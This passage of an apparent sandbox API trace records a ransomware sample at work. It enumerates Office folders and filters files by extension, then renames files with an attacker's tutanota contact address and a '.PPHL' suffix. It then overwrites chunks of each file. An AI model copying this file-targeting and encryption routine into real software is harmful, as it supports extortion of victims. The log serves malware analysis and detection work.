ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTOSHAP", cAlternateFileName="")) returned 1 [0067.091] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*", lpFindFileData=0x2f3f094 | out: lpFindFileData=0x2f3f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6c3b70 [0067.096] FindNextFileW (in: hFindFile=0x6c3b70, lpFindFileData=0x2f3f094 | out: lpFindFileData=0x2f3f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.097] FindNextFileW (in: hFindFile=0x6c3b70, lpFindFileData=0x2f3f094 | out: lpFindFileData=0x2f3f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTOSHAP.DLL", cAlternateFileName="")) returned 1 Thread: id = 15 os_tid = 0x54c [0059.775] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x37c0280 [0059.776] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x37d0288 [0059.776] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x670268 [0059.776] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x624108 [0059.776] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x670280 [0059.776] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x3ac0020 [0059.777] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x670298 [0059.777] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x670298, Size=0x20) returned 0x6267d0 [0059.777] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x670298 [0059.777] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x670298, Size=0x20) returned 0x626780 [0059.777] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0059.777] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0059.777] Wow64DisableWow64FsRedirection (in: OldValue=0x307ff58 | out: OldValue=0x307ff58*=0x0) returned 1 [0059.777] lstrlenW (lpString="kernel32.dll") returned 12 [0059.777] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6267d0 | out: hHeap=0x5d0000) returned 1 [0059.777] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0059.777] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x626780 | out: hHeap=0x5d0000) returned 1 [0059.777] Sleep (dwMilliseconds=0x64) [0060.226] lstrcmpiW (lpString1=".ttf", lpString2=".PPHL") returned 1 [0060.226] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0060.226] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0060.483] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x307ff1c | out: lpFileSize=0x307ff1c*=47452) returned 1 [0060.483] CloseHandle (hObject=0x1ac) returned 1 [0060.483] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0060.483] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.483] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.483] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0060.483] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0060.483] lstrlenW (lpString=".doc") returned 4 [0060.483] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0060.483] lstrlenW (lpString=".docx") returned 5 [0060.483] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0060.483] lstrlenW (lpString=".pdf") returned 4 [0060.483] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0060.483] lstrlenW (lpString=".xls") returned 4 [0060.483] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0060.483] lstrlenW (lpString=".xlsx") returned 5 [0060.483] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0060.483] lstrlenW (lpString=".ppt") returned 4 [0060.484] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0060.484] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0060.484] lstrlenW (lpString=".zip") returned 4 [0060.484] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0060.484] lstrlenW (lpString=".rar") returned 4 [0060.484] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0060.484] lstrlenW (lpString=".bz2") returned 4 [0060.484] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0060.484] lstrlenW (lpString=".7z") returned 3 [0060.484] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0060.484] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0060.484] lstrlenW (lpString=".dbf") returned 4 [0060.484] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0060.484] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0060.484] lstrlenW (lpString=".1cd") returned 4 [0060.484] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0060.484] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0060.484] lstrlenW (lpString=".jpg") returned 4 [0060.484] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0060.484] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0060.484] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0060.484] lstrlenW (lpString=".doc") returned 4 [0060.484] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0060.484] lstrlenW (lpString=".docx") returned 5 [0060.484] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0060.484] lstrlenW (lpString=".pdf") returned 4 [0060.484] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0060.484] lstrlenW (lpString=".xls") returned 4 [0060.484] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0060.484] lstrlenW (lpString=".xlsx") returned 5 [0060.484] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0060.484] lstrlenW (lpString=".ppt") returned 4 [0060.484] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0060.484] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0060.484] lstrlenW (lpString=".zip") returned 4 [0060.485] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0060.485] lstrlenW (lpString=".rar") returned 4 [0060.485] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0060.485] lstrlenW (lpString=".bz2") returned 4 [0060.485] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0060.485] lstrlenW (lpString=".7z") returned 3 [0060.485] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0060.485] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0060.485] lstrlenW (lpString=".dbf") returned 4 [0060.485] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0060.485] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0060.485] lstrlenW (lpString=".1cd") returned 4 [0060.485] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0060.485] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0060.485] lstrlenW (lpString=".jpg") returned 4 [0060.485] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0060.485] lstrcmpiW (lpString1=".msi", lpString2=".PPHL") returned -1 [0060.485] lstrlenW (lpString="ExcelMUI.msi") returned 12 [0060.485] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0060.751] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x307ff1c | out: lpFileSize=0x307ff1c*=2506240) returned 1 [0060.751] CloseHandle (hObject=0x198) returned 1 [0060.764] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi")) returned 0x2020 [0060.764] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.773] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0060.774] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0060.774] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc6c | out: lpNewFilePointer=0x0) returned 1 [0060.774] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0060.774] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.781] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0060.781] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.797] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x307fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0060.797] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0060.797] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b40058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.817] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.817] WriteFile (in: hFile=0x1ac, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x307fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x307fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0061.197] SetEndOfFile (hFile=0x1ac) returned 1 [0061.197] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f93fc0 [0061.197] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0061.197] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f93fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93fc0*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.199] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0061.199] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f93fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93fc0*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.205] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0061.205] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f93fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93fc0*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.208] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f93fc0 | out: hHeap=0x5d0000) returned 1 [0061.208] CloseHandle (hObject=0x1ac) returned 1 [0062.458] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0062.458] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0062.458] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0062.458] lstrlenW (lpString=".doc") returned 4 [0062.458] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0062.458] lstrlenW (lpString=".docx") returned 5 [0062.458] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0062.458] lstrlenW (lpString=".pdf") returned 4 [0062.458] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0062.458] lstrlenW (lpString=".xls") returned 4 [0062.458] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0062.458] lstrlenW (lpString=".xlsx") returned 5 [0062.458] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0062.458] lstrlenW (lpString=".ppt") returned 4 [0062.458] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0062.459] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0062.459] lstrlenW (lpString=".zip") returned 4 [0062.459] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0062.459] lstrlenW (lpString=".rar") returned 4 [0062.459] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0062.459] lstrlenW (lpString=".bz2") returned 4 [0062.459] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0062.459] lstrlenW (lpString=".7z") returned 3 [0062.459] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0062.459] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0062.459] lstrlenW (lpString=".dbf") returned 4 [0062.459] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0062.459] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0062.459] lstrlenW (lpString=".1cd") returned 4 [0062.459] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0062.459] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0062.459] lstrlenW (lpString=".jpg") returned 4 [0062.459] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0062.459] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0062.459] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0062.460] lstrlenW (lpString=".doc") returned 4 [0062.460] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0062.460] lstrlenW (lpString=".docx") returned 5 [0062.460] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0062.460] lstrlenW (lpString=".pdf") returned 4 [0062.460] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0062.460] lstrlenW (lpString=".xls") returned 4 [0062.460] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0062.460] lstrlenW (lpString=".xlsx") returned 5 [0062.460] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0062.460] lstrlenW (lpString=".ppt") returned 4 [0062.460] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0062.460] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0062.460] lstrlenW (lpString=".zip") returned 4 [0062.460] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0062.460] lstrlenW (lpString=".rar") returned 4 [0062.460] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0062.460] lstrlenW (lpString=".bz2") returned 4 [0062.460] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0062.460] lstrlenW (lpString=".7z") returned 3 [0062.460] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0062.460] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0062.460] lstrlenW (lpString=".dbf") returned 4 [0062.460] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0062.460] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0062.460] lstrlenW (lpString=".1cd") returned 4 [0062.460] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0062.460] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0062.461] lstrlenW (lpString=".jpg") returned 4 [0062.461] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0062.461] lstrcmpiW (lpString1=".msi", lpString2=".PPHL") returned -1 [0062.461] lstrlenW (lpString="PublisherMUI.msi") returned 16 [0062.461] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0062.461] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x307ff1c | out: lpFileSize=0x307ff1c*=2513920) returned 1 [0062.461] CloseHandle (hObject=0x1ac) returned 1 [0062.462] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020 [0062.462] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0062.462] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0062.463] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0062.463] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc6c | out: lpNewFilePointer=0x0) returned 1 [0062.463] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0062.463] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.470] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0062.470] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.482] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x307fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0062.482] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0062.482] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b40058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.503] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.503] WriteFile (in: hFile=0x1ac, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x307fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x307fcb0*=0xc010c, lpOverlapped=0x0) returned 1 [0062.768] SetEndOfFile (hFile=0x1ac) returned 1 [0062.768] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f41f88 [0062.772] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0062.772] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0062.774] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0062.774] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0062.780] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0062.780] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0062.783] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f41f88 | out: hHeap=0x5d0000) returned 1 [0062.783] CloseHandle (hObject=0x1ac) returned 1 [0063.369] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0063.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0063.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 